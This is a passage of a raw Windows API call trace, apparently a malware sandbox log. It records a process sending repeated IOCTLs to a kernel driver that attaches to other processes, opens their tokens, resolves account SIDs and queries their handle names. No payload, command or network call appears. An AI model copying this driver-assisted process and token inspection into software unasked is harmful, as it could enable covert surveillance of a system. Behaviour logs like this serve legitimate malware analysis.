ReturnLength=0xfffff88005000550) returned 0x0 [0133.355] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.355] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.355] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0133.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.356] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0133.356] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.356] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0133.356] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.356] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.356] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.356] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.356] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.357] CloseHandle (hObject=0xc8) returned 1 [0133.357] CloseHandle (hObject=0xc0) returned 1 [0133.357] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.357] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.357] PsAcquireProcessExitSynchronization () returned 0x0 [0133.357] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0) [0133.357] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0133.358] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.358] PsReleaseProcessExitSynchronization () returned 0x2 [0133.358] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0133.358] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.358] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0133.358] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.358] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.358] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.358] PsAcquireProcessExitSynchronization () returned 0x0 [0133.358] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0) [0133.358] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0133.358] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.358] PsReleaseProcessExitSynchronization () returned 0x2 [0133.358] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0133.358] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.358] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0133.358] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.358] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.358] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.358] PsAcquireProcessExitSynchronization () returned 0x0 [0133.358] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880050005d0) [0133.358] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.358] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.358] PsReleaseProcessExitSynchronization () returned 0x2 [0133.358] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0133.358] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.358] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.358] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.358] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.359] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0133.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.359] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0133.359] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.359] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0133.359] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.359] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.359] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.359] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.359] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.360] CloseHandle (hObject=0xc8) returned 1 [0133.360] CloseHandle (hObject=0xc0) returned 1 [0133.360] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.360] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.360] PsAcquireProcessExitSynchronization () returned 0x0 [0133.360] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0) [0133.361] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0133.361] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.361] PsReleaseProcessExitSynchronization () returned 0x2 [0133.361] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0133.361] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.361] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0133.361] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.361] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0133.361] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.361] PsAcquireProcessExitSynchronization () returned 0x0 [0133.361] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0) [0133.361] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0133.361] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.361] PsReleaseProcessExitSynchronization () returned 0x2 [0133.361] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0133.361] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.361] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0133.361] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.361] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.361] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.361] PsAcquireProcessExitSynchronization () returned 0x0 [0133.361] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880050005d0) [0133.361] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.361] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.361] PsReleaseProcessExitSynchronization () returned 0x2 [0133.361] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0133.361] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.361] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.361] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.362] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.362] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0133.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.362] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0133.362] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.362] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0133.362] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.362] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.362] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.362] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.362] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.363] CloseHandle (hObject=0xc8) returned 1 [0133.363] CloseHandle (hObject=0xc0) returned 1 [0133.363] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.363] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.363] PsAcquireProcessExitSynchronization () returned 0x0 [0133.363] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0) [0133.364] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0133.364] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.364] PsReleaseProcessExitSynchronization () returned 0x2 [0133.364] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0133.364] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.364] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0133.364] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.364] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.364] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0133.364] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.364] PsAcquireProcessExitSynchronization () returned 0x0 [0133.364] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0) [0133.364] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0133.364] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.364] PsReleaseProcessExitSynchronization () returned 0x2 [0133.364] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0133.364] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.364] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0133.364] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.364] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.364] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.364] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.364] PsAcquireProcessExitSynchronization () returned 0x0 [0133.364] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0) [0133.364] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.364] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.364] PsReleaseProcessExitSynchronization () returned 0x2 [0133.364] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0133.364] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0133.365] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.365] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.365] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.365] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.365] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.365] PsAcquireProcessExitSynchronization () returned 0x0 [0133.365] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0) [0133.365] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0133.365] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.365] PsReleaseProcessExitSynchronization () returned 0x2 [0133.365] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0133.365] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.365] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0133.365] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.365] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.365] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.365] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.365] PsAcquireProcessExitSynchronization () returned 0x0 [0133.365] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880050005d0) [0133.365] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0133.365] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.365] PsReleaseProcessExitSynchronization () returned 0x2 [0133.365] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0133.365] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.365] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0133.365] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.365] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.365] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0133.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.366] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 